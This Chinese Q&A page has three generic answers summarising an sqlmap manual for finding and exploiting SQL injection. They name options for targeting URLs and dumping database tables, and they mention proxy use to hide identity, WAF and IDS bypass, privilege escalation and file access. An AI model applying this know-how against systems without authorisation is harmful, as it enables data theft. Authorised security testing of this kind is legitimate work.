### 回答1: SQLMap是一款开源的自动化测试工具,用于测试和利用Web应用程序中可能存在的SQL注入漏洞。本文主要介绍了SQLMap的使用手册。 首先,安装SQLMap。我们可以从官方网站下载最新版本的SQLMap,并将其解压到我们希望存放的位置。然后,我们需要确保我们的系统上已经安装了Python,以便能够运行SQLMap。 接下来,我们需要了解SQLMap的基本命令和选项。SQLMap支持多种命令和选项,可以根据我们的需要进行配置。我们可以使用“-h”选项来查看SQLMap的帮助信息,了解每个选项的作用和用法。 在使用SQLMap之前,我们需要先进行目标选择。我们可以使用“-u”选项指定目标URL,并选择相应的数据库和表进行测试。我们还可以使用其他选项,如“-r”用于指定请求文件,或者“-g”用于指定Google搜索语句。 然后,我们可以使用“-p”选项指定要测试的参数,并使用“-D”和“-T”选项指定要测试的数据库和表。然后,我们可以使用其他选项,如“--columns”用于获取表的列名,或者“--dump”用于获取表的数据。 在进行SQL注入测试时,我们需要注意保护隐私和遵守法律。我们应该获得合法授权,并只在授权范围内进行测试。我们还应该注意测试中可能引发的安全问题,并及时向相关人员报告。 总的来说,SQLMap是一款功能强大的自动化测试工具,可以帮助我们快速发现和利用Web应用程序中可能存在的SQL注入漏洞。使用SQLMap时,我们需要了解其基本命令和选项,并确保遵守相关法律和规定。希望本文的使用手册能帮助大家更好地使用SQLMap。 ### 回答2: sqlmap是一款流行的用于检测和利用SQL注入漏洞的开源工具。它可以用来自动化地发现和利用Web应用程序中的SQL注入漏洞。在这个PDF文档中,我将向您介绍如何使用sqlmap来进行SQL注入攻击测试。 首先,我们需要确保已经安装了sqlmap。您可以从官方网站上下载最新版本的sqlmap,并根据安装说明进行安装。 在文档中,您将会学到如何使用sqlmap进行基本的SQL注入测试。首先,您需要获得一个目标网站的URL,并确认它存在SQL注入漏洞的迹象。接下来,您将使用sqlmap的命令行参数来指定目标URL和其他必要的选项。然后,sqlmap将会自动对目标网站进行扫描,并报告任何发现的SQL注入漏洞。 一旦sqlmap发现了SQL注入漏洞,您可以使用它来获取数据库的信息,执行任意SQL语句,甚至获取敏感信息。在使用sqlmap进行攻击之前,请确保您已经获得了合法的授权,并且尊重法律和道德规范。 该PDF文档还包括了有关sqlmap的高级用法和技巧的介绍。您将学习如何使用代理服务器来隐藏自己的身份,如何使用多线程和延迟来优化扫描速度,以及如何绕过常见的WAF(Web应用防火墙)和IDS(入侵检测系统)等等。 总的来说,这个PDF文档将为您提供一个全面的sqlmap使用指南。通过学习这个手册,您将能够使用sqlmap快速、准确地发现和利用Web应用程序中的SQL注入漏洞。希望这个文档对您有所帮助,祝您使用sqlmap进行安全测试工作顺利。 ### 回答3: sqlmap是一款用于自动化SQL注入的工具,可以帮助渗透测试人员评估和保护Web应用程序的安全性。它具有强大的功能和易于使用的界面,能够自动发现和利用Web应用程序中的SQL注入漏洞。 pdf:sqlmap使用手册是针对sqlmap工具的一份详细说明书,提供了关于sqlmap使用的详细指南和示例。它包含了sqlmap的安装、配置和使用方法,以及各种高级功能和选项的说明。 使用pdf:sqlmap使用手册可以帮助用户快速掌握sqlmap的基本操作和功能。手册中包括了从简单的注入检测到复杂的注入利用的步骤,以及如何配置和调整sqlmap的选项以满足不同的需求。 手册中还介绍了sqlmap的一些高级功能,如指纹识别、提权、文件读取和写入等。这些功能可以帮助用户更加深入地评估Web应用程序的安全性,发现更多的漏洞。 总之,pdf:sqlmap使用手册是一份非常有价值的资料,它提供了sqlmap工具的详尽说明和示例,帮助用户更好地了解和使用sqlmap。无论是初学者还是有经验的渗透测试人员,都可以通过该手册提高他们的技能和知识,有效地评估和保护Web应用程序的安全性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值